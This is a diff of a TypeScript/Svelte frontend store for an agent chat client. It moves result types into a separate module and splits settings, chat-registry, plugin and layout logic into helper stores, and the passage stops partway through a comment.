import { resolveHttpUrl } from "./resolve-http-url";
import { resolveWsUrl } from "./resolve-ws-url";
+import { createSettingsRefreshers } from "./settings-refreshers.svelte";
+import type { AppStore, CreateAppStoreOptions } from "./store-types";
+import { createSurfaceProtocol } from "./surface-protocol.svelte";
import { randomId } from "./uuid";
-
-const DEFAULT_MODEL = "opencode/deepseek-v4-flash";
-
-/** Outcome of a manual `POST /chat/warm` (the "warm now" affordance). */
-export type WarmResult =
- | { readonly ok: true; readonly response: WarmResponse }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `PUT /conversations/:id/cwd`. */
-export type CwdResult =
- | { readonly ok: true; readonly cwd: string | null }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `PUT /conversations/:id/computer` (set/clear the per-conversation computer). */
-export type ComputerResult =
- | { readonly ok: true; readonly computerId: string | null }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `GET /computers/:alias/status` (the live connection state). */
-export type ComputerStatusResult =
- | { readonly ok: true; readonly response: ComputerStatusResponse }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `POST /computers/:alias/test` (one-shot connectivity probe). */
-export type TestComputerResult =
- | { readonly ok: true; readonly response: TestComputerResponse }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `GET /conversations/:id/lsp`. */
-export type LspResult =
- | { readonly ok: true; readonly response: LspStatusResponse }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `GET /conversations/:id/mcp`. */
-export type McpResult =
- | { readonly ok: true; readonly response: McpStatusResponse }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `PUT /conversations/:id/reasoning-effort`. */
-export type ReasoningEffortResult =
- | { readonly ok: true; readonly reasoningEffort: ReasoningEffort }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `POST /conversations/:id/compact` (manual compaction). */
-export type CompactResult =
- | { readonly ok: true; readonly response: CompactResponse }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `PUT /conversations/:id/compact-percent`. */
-export type CompactPercentResult =
- | { readonly ok: true; readonly percent: number }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `PUT /settings/vision` (global vision-settings save). */
-export type VisionSettingsResult =
- | { readonly ok: true; readonly settings: VisionSettings }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `GET /system-prompt` (global template load). */
-export type SystemPromptLoadResult =
- | { readonly ok: true; readonly template: string }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of `PUT /system-prompt` (global template save). */
-export type SystemPromptSaveResult = SystemPromptLoadResult;
-
-/** Outcome of `GET /system-prompt/variables` (variable catalog). */
-export type SystemPromptVariablesResult =
- | { readonly ok: true; readonly variables: readonly SystemPromptVariable[] }
- | { readonly ok: false; readonly error: string };
-
-/** Outcome of persisting a chat-limit setting (localStorage; FE-local). */
-export type ChatLimitResult =
- | { readonly ok: true; readonly chatLimit: number }
- | { readonly ok: false; readonly error: string };
-
-export interface AppStore {
- readonly tabs: readonly Tab[];
- readonly activeConversationId: string | null;
- /** The workspace currently in view (URL slug); tabs are filtered to it. */
- readonly activeWorkspaceId: string;
- /**
- * The resolved HTTP API base URL (e.g. `http://localhost:24203`). Used to
- * resolve relative image URLs served by the backend (`/images/…`) into
- * absolute URLs for `<img src>`.
- */
- readonly httpBase: string;
- readonly activeChat: ChatStore;
- readonly models: readonly string[];
- /** Per-model metadata (contextWindow, etc.) from `GET /models`. */
- readonly modelInfo: Readonly<Record<string, ModelMetadata>>;
- readonly activeModel: string;
- readonly catalog: ProtocolState["catalog"];
- /** Every received surface spec, in catalog order — all auto-subscribed + expanded. */
- readonly surfaces: readonly SurfaceSpec[];
- readonly lastError: ProtocolState["lastError"];
- /** The localStorage instance the store uses for persistence (tabs, chatLimit).
- * Exposed so the shell can persist sidebar layout via the same adapter. */
- readonly storage: Storage | undefined;
- /** The current spec for one surface by id (discovery-by-id), or null if absent. */
- surface(surfaceId: string): SurfaceSpec | null;
- /**
- * Send a user message (start a turn). Forwards any staged `images`
- * (`ImageInput[]` — base64 data URLs / https URLs) on the `chat.send` op;
- * the server passes them to a vision-capable model natively or transcribes
- * them via vision handoff for a non-vision model. Omitted on the wire when
- * none are staged. On a draft, promotes to a tab first.
- */
- send(text: string, images?: readonly ImageInput[]): void;
- /**
- * Enqueue a steering message onto the focused conversation's queue
- * (`chat.queue` WS op). While a turn is generating, the message is delivered
- * mid-turn at the next tool-result boundary; when idle, the server
- * auto-starts a turn (equivalent to `send`). Safe to offer whenever the user
- * wants to add input — the server owns the idle-vs-generating decision.
- */
- queueMessage(text: string): void;
- selectModel(model: string): void;
- newDraft(): void;
- /** Switch the active workspace (on route change) + reset to a fresh draft in it. */
- setActiveWorkspace(workspaceId: string): void;
- selectTab(conversationId: string): void;
- closeTab(conversationId: string): void;
- renameTab(conversationId: string, title: string): void;
- invoke(surfaceId: string, actionId: string, payload?: unknown): void;
- /**
- * Manually warm the focused conversation's prompt cache (`POST /chat/warm`).
- * Returns null when no conversation is focused (a draft has nothing to warm).
- */
- warmNow(): Promise<WarmResult | null>;
- /** The workspace conversation's persisted working directory, or null when unset. */
- readonly cwd: string | null;
- /** The conversation workspace settings target: the active tab, or the pending draft's id. */
- readonly currentConversationId: string;
- /**
- * Set the workspace conversation's working directory (`PUT /conversations/:id/cwd`).
- * Works for a draft too (its id survives promotion), so the first turn runs in it.
- */
- setCwd(cwd: string): Promise<CwdResult | null>;
- /**
- * The workspace conversation's persisted computer (an SSH `Host` alias), or
- * null when never set / local. Seeded from the backend on focus change.
- */
- readonly computerId: string | null;
- /**
- * Persist the workspace conversation's computer (`PUT /conversations/:id/computer`).
- * Pass null to clear → the conversation inherits the workspace default → local.
- * Works for a draft too (its id survives promotion). Not seen by the agent — a
- * user-facing tool-execution target only.
- */
- setComputer(computerId: string | null): Promise<ComputerResult | null>;
- /**
- * Every remote computer discovered from the user's `~/.ssh/config`
- * (`GET /computers`), fetched on boot. Read-only — there is no Computer CRUD
- * (the user edits their ssh config to add one). Empty until the `ssh`
- * extension lands.
- */
- readonly computers: readonly ComputerEntry[];
- /**
- * The live connection state of a computer (`GET /computers/:alias/status`):
- * whether Dispatch currently holds an open SSH session to it. Returns null
- * only if no alias is given (the focused conversation is local). Polled by the
- * `ComputerField` while a computer is selected.
- */
- computerStatus(alias: string): Promise<ComputerStatusResult | null>;
- /**
- * One-shot connectivity probe (`POST /computers/:alias/test`): Dispatch opens
- * an SSH connection to the alias, runs a trivial command, then closes. `ok` is
- * true on success; `error` carries the failure reason otherwise.
- */
- testComputer(alias: string): Promise<TestComputerResult | null>;
- /**
- * The workspace conversation's persisted reasoning effort, or null when never
- * set (the server then resolves turns at the default, `"high"`).
- */
- readonly reasoningEffort: ReasoningEffort | null;
- /**
- * Persist the workspace conversation's reasoning effort
- * (`PUT /conversations/:id/reasoning-effort`). Works for a draft too (its id
- * survives promotion), so the first turn already runs at the chosen level.
- * Takes effect from the NEXT turn; resolution stays server-owned.
- */
- setReasoningEffort(level: ReasoningEffort): Promise<ReasoningEffortResult | null>;
- /**
- * Manually trigger conversation compaction (`POST /conversations/:id/compact`).
- * Summarizes old messages + retains the most recent N. Returns null when no
- * conversation is focused (a draft has nothing to compact).
- */
- compactNow(keepLastN?: number): Promise<CompactResult | null>;
- /**
- * Stop an in-flight generation (`POST /conversations/:id/stop`). Aborts the
- * turn without closing the conversation — partial messages are persisted, the
- * turn seals with `reason: "aborted"`, and the conversation goes `active → idle`.
- * Returns null when no conversation is focused.
- */
- stopGeneration(): void;
- /**
- * The workspace conversation's auto-compact percent (0-100). `0` = disabled
- * (manual only); a positive number = auto-compact triggers when the last
- * turn's input tokens exceed it. Seeded from the backend on focus change.
- */
- readonly compactPercent: number | null;
- /**
- * Persist the workspace conversation's auto-compact percent
- * (`PUT /conversations/:id/compact-percent`). `0` disables; 1-100 sets the
- * trigger percentage of the model's context window. Default (null) is 85.
- * number enables. Works for a draft too (its id survives promotion).
- */
- setCompactPercent(percent: number): Promise<CompactPercentResult | null>;
- /**
- * The GLOBAL vision settings (`GET /settings/vision`): `imageLimit` (max
- * native images per turn before compaction; 0 = disabled) + `compactionModel`
- * (which vision model transcribes old images; null = auto). Shared across all
- * conversations. Seeded on boot; `null` = not yet fetched.
- */
- readonly visionSettings: VisionSettings | null;
- /**
- * Refetch the global vision settings (`GET /settings/vision`). Called by the
- * vision-settings view on mount; also seeded on boot.
- */
- refreshVisionSettings(): Promise<void>;
- /**
- * Save a PARTIAL vision-settings update (`PUT /settings/vision`). Either
- * field may be omitted. Returns the merged settings on success.
- */
- setVisionSettings(patch: VisionSettingsPatch): Promise<VisionSettingsResult | null>;
- /**
- * Fetch the workspace conversation's language-server status (`GET /conversations/:id/lsp`).
- * The backend lazily spawns servers, so this may take a moment on the first call for a cwd.
- */
- lspStatus(): Promise<LspResult | null>;
- /**
- * Fetch the workspace conversation's MCP server status (`GET /conversations/:id/mcp`).
- * Mirrors the LSP status endpoint: returns `{cwd, servers}` with empty `servers`
- * when no cwd is set; the backend lazily connects servers, so this may take a
- * moment on the first call for a cwd.
- */
- mcpStatus(): Promise<McpResult | null>;
- /**
- * Load the global system prompt template (`GET /system-prompt`). The template is
- * conversation-agnostic; it is resolved once per conversation on first turn and
- * persisted for prompt-cache safety.
- */
- loadSystemPrompt(): Promise<SystemPromptLoadResult>;
- /**
- * Persist the global system prompt template (`PUT /system-prompt`). Changes apply
- * to new conversations on their first turn; existing conversations keep their
- * resolved system prompt until compaction.
- */
- setSystemPrompt(template: string): Promise<SystemPromptSaveResult>;
- /**
- * Load the static catalog of available system prompt variables (`GET /system-prompt/variables`).
- * Used by the builder to render the variable selector buttons.
- */
- loadSystemPromptVariables(): Promise<SystemPromptVariablesResult>;
- /** The persisted chat limit (max loaded chunks per conversation). */
- readonly chatLimit: number;
- /**
- * A conversation's backend lifecycle status (`active`/`idle`/`closed`), or
- * `undefined` when unknown. Drives the tab-bar generating indicator
- * (cross-device: a tab spinning because another device's turn is running).
- */
- conversationStatus(conversationId: string): ConversationStatus | undefined;
- /**
- * Whether at least one conversation in the given workspace is currently
- * active or queued (generating / waiting for a concurrency slot) — drives
- * the loading-dots indicator on workspace cards. Backed by a once-derived
- * `activeWorkspaces` set (the open-tab set × the backend lifecycle statuses)
- * so this is an O(1) lookup, not a per-card scan of the full tab list.
- * Reactive: the set is a `$derived`, so a Svelte template expression calling
- * this re-runs when the tab set or status map changes.
- */
- workspaceHasActiveConversations(workspaceId: string): boolean;
- /**
- * Persist + live-apply a new chat limit: writes `dispatch.chatLimit` to
- * localStorage and propagates to every live chat store (trim if lower,
- * deferred via the unload gate while a reader is scrolled up; no-op if
- * higher — page unloaded history back in via "Show earlier"). Stores created
- * afterwards pick the new limit up at creation. Always succeeds (FE-local).
- */
- setChatLimit(limit: number): Promise<ChatLimitResult>;
- /**
- * Wire the chat-limit unload gate (composition-root injection, called once by
- * the shell after it owns the scroll region): unloading old chunks is allowed
- * only while the gate returns true — i.e. the reader is stuck to the bottom —
- * so a trim never yanks content out from under someone reading history.
- * Before attachment unloading is allowed (the initial view starts at the
- * bottom).
- */
- attachUnloadGate(gate: () => boolean): void;
- /**
- * Load the active workspace's heartbeat config
- * (`GET /workspaces/:id/heartbeat`). Workspace-scoped (NOT per-conversation):
- * the backend runs an autonomous agent loop on a configured interval, writing
- * each run into a dedicated conversation. The config covers the system/task
- * prompts, model, reasoning effort, interval, and an enabled flag.
- */
- heartbeatConfig(): Promise<HeartbeatConfigResult>;
- /**
- * Persist a partial heartbeat config patch
- * (`PUT /workspaces/:id/heartbeat`). The backend merges the patch onto the
- * stored config; returns the full updated config.
- */
- setHeartbeatConfig(patch: HeartbeatConfigPatch): Promise<HeartbeatConfigResult>;
- /**
- * Load the active workspace's heartbeat run history
- * (`GET /workspaces/:id/heartbeat/runs`). Each run references the conversation
- * it wrote to — open one via {@link watchConversation} to see its chat live.
- */
- heartbeatRuns(): Promise<HeartbeatRunsResult>;
- /**
- * Stop a running heartbeat run (`POST /workspaces/:id/heartbeat/runs/:runId/stop`).
- * The run's in-flight turn seals (its conversation keeps streaming until it
- * ends); the run's status flips to `stopped` (visible on the next runs poll).
- */
- stopHeartbeatRun(runId: string): Promise<HeartbeatStopResult>;
- /**
- * Fetch the server-authoritative next-run timestamp
- * (`GET /workspaces/:id/heartbeat/next-run`) — when the next heartbeat run
- * will fire (ISO 8601), or null when disabled / no run scheduled. The FE shows
- * a live countdown from this. When the endpoint is absent (404 — backend
- * hasn't shipped CR-HB-3 yet) it returns `ok: false` so the FE falls back to
- * an approximation from the runs + config.
- */
- heartbeatNextRun(): Promise<HeartbeatNextRunResult>;
- /**
- * Open a "watch" on a conversation for a modal viewer (the heartbeat run-chat
- * modal): ensures a live {@link ChatStore} for the conversation, subscribing
- * to its turn stream (`chat.subscribe`) + loading history. Reuses the open
- * tab's store if the conversation is already a tab; otherwise creates an
- * EPHEMERAL watch store (separate from tabs — never opens a tab). Deltas are
- * routed to it automatically. Pair every open with {@link unwatchConversation}
- * on close to unsubscribe + dispose the ephemeral store.
- */
- watchConversation(conversationId: string): ChatStore;
- /** Dispose + unsubscribe a watch opened by {@link watchConversation}. */
- unwatchConversation(conversationId: string): void;
- /**
- * Load all configured per-provider concurrency limits
- * (`GET /concurrency/limits`). Global (not workspace-scoped). Returns an empty
- * list when the concurrency extension isn't loaded (`{ limits: [] }`).
- */
- concurrencyLimits(): Promise<ConcurrencyLimitsResult>;
- /**
- * Fetch the configured limit for one provider
- * (`GET /concurrency/limits/:providerId`). `404` (no limit configured) and
- * `503` (extension not loaded) both surface as `ok: false`.
- */
- getConcurrencyLimit(providerId: string): Promise<ConcurrencyLimitResult>;
- /**
- * Set or update a provider's concurrency limit
- * (`PUT /concurrency/limits/:providerId`, body `{ limit }`). `limit` must be a
- * positive integer (a non-positive body is `400`). At the cap, further requests
- * queue oldest-agent-first rather than being sent immediately.
- */
- setConcurrencyLimit(providerId: string, limit: number): Promise<ConcurrencyLimitResult>;
- /**
- * Remove a provider's concurrency limit (`DELETE /concurrency/limits/:providerId`),
- * making it unlimited. `404` (not configured) and `503` (extension not loaded)
- * both surface as `ok: false`.
- */
- deleteConcurrencyLimit(providerId: string): Promise<ConcurrencyDeleteResult>;
- /**
- * Fetch live concurrency status for every provider with a configured limit
- * (`GET /concurrency/status`): in-flight slots held, agents queued, and a paused
- * state with a `pausedUntil` epoch-ms when a 429 backoff is in effect. Each
- * entry also carries the per-slot release `cooldownMs` + an `autoReduced` flag
- * (true when a 429 auto-reduced the limit by 1; the FE renders a banner). Returns
- * an empty list when the extension isn't loaded (`{ providers: [] }`).
- */
- concurrencyStatus(): Promise<ConcurrencyStatusResult>;
- /**
- * Fetch the per-slot release cooldown (ms) for one provider
- * (`GET /concurrency/cooldown/:providerId`). `404` (no concurrency config at
- * all) and `503` (extension not loaded) both surface as `ok: false`.
- */
- getConcurrencyCooldown(providerId: string): Promise<ConcurrencyCooldownResult>;
- /**
- * Set the per-slot release cooldown (ms) for one provider
- * (`PUT /concurrency/cooldown/:providerId`, body `{ cooldownMs }`). `cooldownMs`
- * must be a non-negative integer (0 = no cooldown / instant re-admission); an
- * invalid body is `400`. Persists + applies to subsequently recycled slots.
- */
- setConcurrencyCooldown(
- providerId: string,
- cooldownMs: number,
- ): Promise<ConcurrencyCooldownResult>;
- /**
- * A critical error that blocks normal operation (e.g. the cross-device tab
- * restore fetch failed). When non-null, a full-screen modal is shown with the
- * error details. Cleared by `clearFatalError` (the modal's dismiss button).
- */
- readonly fatalError: string | null;
- /** Dismiss the fatal error (called by the error modal's X button). */
- clearFatalError(): void;
- dispose(): void;
-}
-
-export interface CreateAppStoreOptions {
- url?: string;
- httpUrl?: string;
- socketFactory?: (url: string) => WebSocketLike;
- fetchImpl?: typeof fetch;
- indexedDB?: IDBFactory;
- conversationId?: string;
- localStorage?: Storage;
- /** The workspace to scope to at boot (its URL slug); "default" if absent. */
- workspaceId?: string;
-}
-
-function createHistorySync(httpBase: string, fetchImpl: typeof fetch): HistorySync {
- return async (conversationId, sinceSeq, window) => {
- let url = `${httpBase}/conversations/${encodeURIComponent(conversationId)}?sinceSeq=${sinceSeq}`;
- // CR-5 windowing ([email protected]): both must be positive
- // integers when present (the server 400s otherwise; callers guarantee it).
- if (window?.limit !== undefined) url += `&limit=${window.limit}`;
- if (window?.beforeSeq !== undefined) url += `&beforeSeq=${window.beforeSeq}`;
- const res = await fetchImpl(url);
- if (!res.ok) {
- throw new Error(`History sync failed: ${res.status}`);
- }
- return (await res.json()) as ConversationHistoryResponse;
- };
-}
-
-function createMetricsSync(httpBase: string, fetchImpl: typeof fetch): MetricsSync {
- return async (conversationId: string) => {
- const url = `${httpBase}/conversations/${encodeURIComponent(conversationId)}/metrics`;
- const res = await fetchImpl(url);
- if (!res.ok) return { turns: [] };
- return (await res.json()) as ConversationMetricsResponse;
- };
-}
+import { createWsHandlers } from "./ws-handlers";
+
+const DEFAULT_MODEL = "opencode-1/deepseek-v4-flash";
+
+export type {
+ AppStore,
+ ChatLimitResult,
+ CompactPercentResult,
+ CompactResult,
+ ComputerResult,
+ ComputerStatusResult,
+ CreateAppStoreOptions,
+ CwdResult,
+ LspResult,
+ McpResult,
+ ReasoningEffortResult,
+ SystemPromptLoadResult,
+ SystemPromptSaveResult,
+ SystemPromptVariablesResult,
+ TestComputerResult,
+ ThinkingResult,
+ VisionSettingsResult,
+ WarmResult,
+} from "./store-types";
export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
- let protocol = $state<ProtocolState>(protocolInitialState());
- let models = $state<readonly string[]>([]);
- let modelInfo = $state<Readonly<Record<string, ModelMetadata>>>({});
- // Discovered SSH computers (`GET /computers`). Global (like `models`); empty
- // until the `ssh` extension lands. Read-only — no CRUD (the user edits their
- // `~/.ssh/config`).
- let computers = $state<readonly ComputerEntry[]>([]);
let activeModel = $state(DEFAULT_MODEL);
+ // The active conversation's Named Agent snapshot (null when selected via a raw
+ // model). Derived from the active tab; survives a Named Agent being edited.
+ let namedAgentSnapshot = $state<NamedAgentSelectionSnapshot | null>(null);
let fatalError = $state<string | null>(null);
// The workspace currently in view (its URL slug); "default" until routing
@@ -562,127 +106,82 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
const indexedDBFactory = opts?.indexedDB ?? globalThis.indexedDB;
const localStorageOpt = opts?.localStorage ?? globalThis.localStorage;
- const storageAdapter = createLocalStore<TabsState>("dispatch.tabs", {
+ // ── Plugins (plan 07) ──────────────────────────────────────────────────────
+ // The plugin-manager + per-workspace enablement state lives in its own
+ // feature store (one instance per app store, passed explicitly to the UI).
+ // The app store wires the server's `extensions-changed` broadcast into it
+ // (§11 multi-client coherence) and refreshes the workspace-scoped model
+ // picker + guardrail on the same event.
+ const pluginsHttp = createPluginsHttp(httpBase, fetchImpl);
+ const pluginsStore = createPluginsStore(pluginsHttp);
+
+ // ── Layout (plan 02) ─────────────────────────────────────────────────────────
+ // The ACTIVE workspace's tile tree, owned by the backend's layout provider
+ // plugin when one is active (its well-known routes + the `layout` WS push)
+ // and rendered from the local default otherwise (no-provider mode: edits
+ // ephemeral, logged once, no error UI). Probes run on boot, on every
+ // workspace switch, and on `extensions-changed` (§2.6); the one-way
+ // localStorage migration (§2.7) arms on the boot probe.
+ const layoutHttp = createLayoutHttp(httpBase, fetchImpl);
+ const layoutStore = createLayoutStore({
+ http: layoutHttp,
+ workspaceId: activeWorkspaceId,
storage: localStorageOpt,
+ knownViews: listPanelViews().map((v) => v.id),
});
- const tabsStore: TabsStore = createTabsStore(storageAdapter);
- // The chat limit (max loaded chunks per conversation) — a persisted local
- // setting surfaced in the sidebar's Settings view. Reactive so the field +
- // any live-apply re-trim update together. The default is written back on
- // first run so the knob is discoverable in localStorage too.
- const chatLimitStore = createLocalStore<number>("dispatch.chatLimit", {
+ // ── Home tile-layout (the synced Win8-Start grid) ─────────────────────────
+ // ONE shared document PER device orientation (`wide` = landscape/desktop,
+ // `tall` = portrait/mobile), persisted by the backend's home-tile-layout
+ // plugin and broadcast over WS (`tile-layout`). The home page locks the
+ // active orientation to the resolved grid geometry and renders
+ // `tileLayout.entries`; this store owns the probes, the WS-push filter,
+ // the debounced PUT + rollback, and the offline degrade.
+ const tileLayoutStore = createTileLayoutStore({
+ http: createTileLayoutHttp(httpBase, fetchImpl),
+ initialMode:
+ typeof window === "undefined"
+ ? "wide"
+ : geometryFor(window.innerWidth, window.innerHeight).mode,
storage: localStorageOpt,
});
- const storedChatLimit = chatLimitStore.load();
- const normalizedChatLimit = normalizeChatLimit(storedChatLimit);
- let chatLimit = $state(normalizedChatLimit);
- if (storedChatLimit === null) {
- chatLimitStore.save(normalizedChatLimit);
- }
- // Unload gate — attached by the shell once it owns the scroll region (see
- // `AppStore.attachUnloadGate`). Until then, unloading is allowed.
- let unloadGate: (() => boolean) | null = null;
-
- const cache: ConversationCache = createConversationCache(
- createIdbChunkStore({ indexedDB: indexedDBFactory }),
- );
-
- const historySync = createHistorySync(httpBase, fetchImpl);
- const metricsSync = createMetricsSync(httpBase, fetchImpl);
-
- const chatStores = new Map<string, ChatStore>();
-
- // Ephemeral chat stores for MODAL viewers (the heartbeat run-chat modal): a
- // watch on a conversation's live turn stream WITHOUT opening a tab. Separate
- // from `chatStores` (tabs) so closing a modal never disturbs the tab strip,
- // and a tab's conversation reuses its own store (see `watchConversation`).
- // Deltas are routed here in addition to `chatStores`.
- const watchStores = new Map<string, ChatStore>();
-
- function createChatFor(conversationId: string, model: string, workspaceId: string): ChatStore {
- return createChatStore({
- conversationId,
- model,
- workspaceId,
- transport: {
- send(msg) {
- socket?.send(msg);
- },
- },
- historySync,
- metricsSync,
- cache,
- // Read from the persisted store (kept in sync with the reactive `chatLimit`
- // by `setChatLimit` + boot) so this snapshot doesn't reference the `$state`
- // — each store captures its limit at creation; live updates go through
- // `setChatLimit`.
- chatLimit: normalizeChatLimit(chatLimitStore.load()),
- canUnload: () => (unloadGate === null ? true : unloadGate()),
- onError: (context, err) => {
- reportError(`${context} (conversation: ${conversationId})`, err);
- },
- });
- }
+ const refreshers = createSettingsRefreshers({
+ httpBase,
+ fetchImpl,
+ activeWorkspaceId: () => activeWorkspaceId,
+ reportError,
+ });
- const initialDraftId = randomId();
- // Read `activeWorkspaceId` with untrack to suppress Svelte's
- // `state_referenced_locally` warning — this intentionally captures the
- // INITIAL workspace for the boot draft. When the workspace changes later,
- // `setActiveWorkspace` creates a fresh draft store with the new id.
- let draftStore: ChatStore = createChatFor(
- initialDraftId,
- DEFAULT_MODEL,
- untrack(() => activeWorkspaceId),
- );
- let draftConversationId: string = initialDraftId;
-
- let activeChat = $state<ChatStore>(draftStore as ChatStore);
-
- // The active conversation's persisted working directory (per-tab). Seeded from
- // the backend on focus change; null for a draft / when unset.
- let cwd = $state<string | null>(null);
-
- /** Refetch the workspace conversation's cwd into reactive state (works for a draft too). */
- async function refreshCwd(): Promise<void> {
- const id = workspaceConversationId();
- try {
- const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/cwd`);
- if (!res.ok) return;
- const data = (await res.json()) as CwdResponse;
- // Guard a slow response losing a race with a conversation switch.
- if (workspaceConversationId() === id) cwd = data.cwd ?? null;
- } catch (err) {
- reportError("Failed to load working directory", err);
- }
- }
+ const storageAdapter = createLocalStore<TabsState>("dispatch.tabs", {
+ storage: localStorageOpt,
+ });
+ const tabsStore: TabsStore = createTabsStore(storageAdapter);
- // The active conversation's persisted computer (SSH Host alias). Seeded on
- // focus change; null = local / never set (inherits the workspace default).
- let computerId = $state<string | null>(null);
+ const registry = createChatRegistry({
+ storage: localStorageOpt,
+ tabsStore,
+ createCache: () =>
+ createConversationCache(createIdbChunkStore({ indexedDB: indexedDBFactory })),
+ historySync: createHistorySync(httpBase, fetchImpl),
+ metricsSync: createMetricsSync(httpBase, fetchImpl),
+ defaultModel: DEFAULT_MODEL,
+ activeModel: () => activeModel,
+ activeWorkspaceId: () => activeWorkspaceId,
+ send: (msg) => socket?.send(msg),
+ reportError,
+ chatFlushScheduler: opts?.chatFlushScheduler,
+ });
- /**
- * Refetch the workspace conversation's persisted computer into reactive state
- * (works for a draft too). A draft's id 404s until promoted; `res.ok` is false
- * so it is a silent no-op (mirrors `refreshCwd` for a draft).
- */
- async function refreshComputer(): Promise<void> {
- const id = workspaceConversationId();
- // Clear immediately so a switch never shows the PREVIOUS conversation's
- // computer while the fetch is in flight (null renders as "Local").
- computerId = null;
- try {
- const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/computer`);
- if (!res.ok) return;
- const data = (await res.json()) as ConversationComputerResponse;
- // Guard a slow response losing a race with a conversation switch.
- if (workspaceConversationId() === id) computerId = data.computerId ?? null;
- } catch (err) {
- reportError("Failed to load computer", err);
- }
- }
+ const cache = registry.cache;
+ const settings = createConversationSettings({
+ httpBase,
+ fetchImpl,
+ workspaceConversationId,
+ activeWorkspaceId: () => activeWorkspaceId,
+ reportError,
+ });
/** Refetch the workspace conversation's persisted model (works for a draft too). */
async function refreshModel(): Promise<void> {
const id = workspaceConversationId();
@@ -691,14 +190,21 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
if (!res.ok) return;
const data = (await res.json()) as ModelResponse;
if (workspaceConversationId() !== id) return;
+ // The backend is authoritative for the persisted snapshot: restore how the
+ // conversation was selected (a Named Agent, or none). Falls back to the tab's
+ // local snapshot when the response omits it (older backend).
+ namedAgentSnapshot = data.namedAgent ?? namedAgentSnapshot;
if (typeof data.model === "string" && data.model.length > 0) {
activeModel = data.model;
const activeId = tabsStore.activeConversationId;
if (activeId !== null) {
tabsStore.setModel(activeId, data.model);
- chatStores.get(activeId)?.setModel(data.model);
+ tabsStore.setSnapshot(activeId, namedAgentSnapshot);
+ registry.chatStores.get(activeId)?.setModel(data.model);
+ registry.chatStores.get(activeId)?.setNamedAgent(namedAgentSnapshot);
} else {
- draftStore.setModel(data.model);
+ registry.draftStore.setModel(data.model);
+ registry.draftStore.setNamedAgent(namedAgentSnapshot);
}
}
} catch (err) {
@@ -706,174 +212,6 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
}
}
- // The workspace conversation's persisted reasoning effort. Seeded from the
- // backend on focus change; null = never set (the server default applies).
- let reasoningEffort = $state<ReasoningEffort | null>(null);
-
- /** Refetch the workspace conversation's reasoning effort (works for a draft too). */
- async function refreshReasoningEffort(): Promise<void> {
- const id = workspaceConversationId();
- // Clear immediately so a switch never shows the PREVIOUS conversation's level
- // while the fetch is in flight (null renders as the server default).
- reasoningEffort = null;
- try {
- const res = await fetchImpl(
- `${httpBase}/conversations/${encodeURIComponent(id)}/reasoning-effort`,
- );
- if (!res.ok) return;
- const data = (await res.json()) as ReasoningEffortResponse;
- // Guard a slow response losing a race with a conversation switch.
- if (workspaceConversationId() === id) reasoningEffort = data.reasoningEffort ?? null;
- } catch (err) {
- reportError("Failed to load reasoning effort", err);
- }
- }
-
- // The workspace conversation's auto-compact percent. Seeded from the
- // backend on focus change; null = not yet fetched. 0 = disabled.
- let compactPercent = $state<number | null>(null);
-
- // The GLOBAL vision settings (shared across all conversations). Seeded on
- // boot; null = not yet fetched.
- let visionSettings = $state<VisionSettings | null>(null);
-
- /** Refetch the global vision settings (`GET /settings/vision`). */
- async function refreshVisionSettings(): Promise<void> {
- try {
- const res = await fetchImpl(`${httpBase}/settings/vision`);
- if (!res.ok) return;
- const data = normalizeVisionSettings(await res.json());
- visionSettings = data;
- } catch (err) {
- reportError("Failed to load vision settings", err);
- }
- }
-
- /** Refetch the workspace conversation's compact percent (works for a draft too). */
- async function refreshCompactPercent(): Promise<void> {
- const id = workspaceConversationId();
- compactPercent = null;
- try {
- const res = await fetchImpl(
- `${httpBase}/conversations/${encodeURIComponent(id)}/compact-percent`,
- );
- if (!res.ok) return;
- const data = (await res.json()) as CompactPercentResponse;
- if (workspaceConversationId() === id) compactPercent = data.threshold;
- } catch (err) {
- reportError("Failed to load compact percent", err);
- }
- }
-
- function getActiveChat(): ChatStore {
- const activeId = tabsStore.activeConversationId;
- if (activeId === null) {
- return draftStore;
- }
- return chatStores.get(activeId) ?? draftStore;
- }
-
- function refreshActiveChat(): void {
- activeChat = getActiveChat();
- }
-
- function handleChatMessage(msg: ChatDeltaMessage | ChatErrorMessage): void {
- let targetId: string | undefined;
- if (msg.type === "chat.delta") {
- targetId = msg.event.conversationId;
- } else {
- targetId = msg.conversationId;
- }
-
- if (targetId !== undefined) {
- const store = chatStores.get(targetId) ?? watchStores.get(targetId);
- if (store !== undefined) {
- store.handleDelta(msg);
- return;
- }
- }
-
- // fallback: try all stores (chat.error without conversationId)
- for (const store of chatStores.values()) {
- store.handleDelta(msg);
- }
- for (const store of watchStores.values()) {
- store.handleDelta(msg);
- }
- }
-
- /**
- * Start watching a conversation's live turn events (`chat.subscribe`). Sent for
- * EVERY open conversation — not just the active one — so a backgrounded tab keeps
- * streaming a running turn, and a reloaded/second client re-attaches to an
- * in-flight turn (the server replays it from `turn-start`). Idempotent server-side;
- * the socket queues it until the connection is open. NOT needed right after
- * `chat.send` (that auto-subscribes the sending connection).
- */
- function subscribeChat(conversationId: string): void {
- socket?.send({ type: "chat.subscribe", conversationId });
- }
-
- /** Stop watching a conversation's turn events (`chat.unsubscribe`). Never stops the turn. */
- function unsubscribeChat(conversationId: string): void {
- socket?.send({ type: "chat.unsubscribe", conversationId });
- }
-
- /**
- * Open a "watch" on a conversation for a modal viewer (the heartbeat run-chat
- * modal). Returns a live {@link ChatStore} for the conversation's turn stream.
- * If the conversation is already an open TAB, reuses its store (it is already
- * subscribed + streaming); otherwise creates an EPHEMERAL watch store in
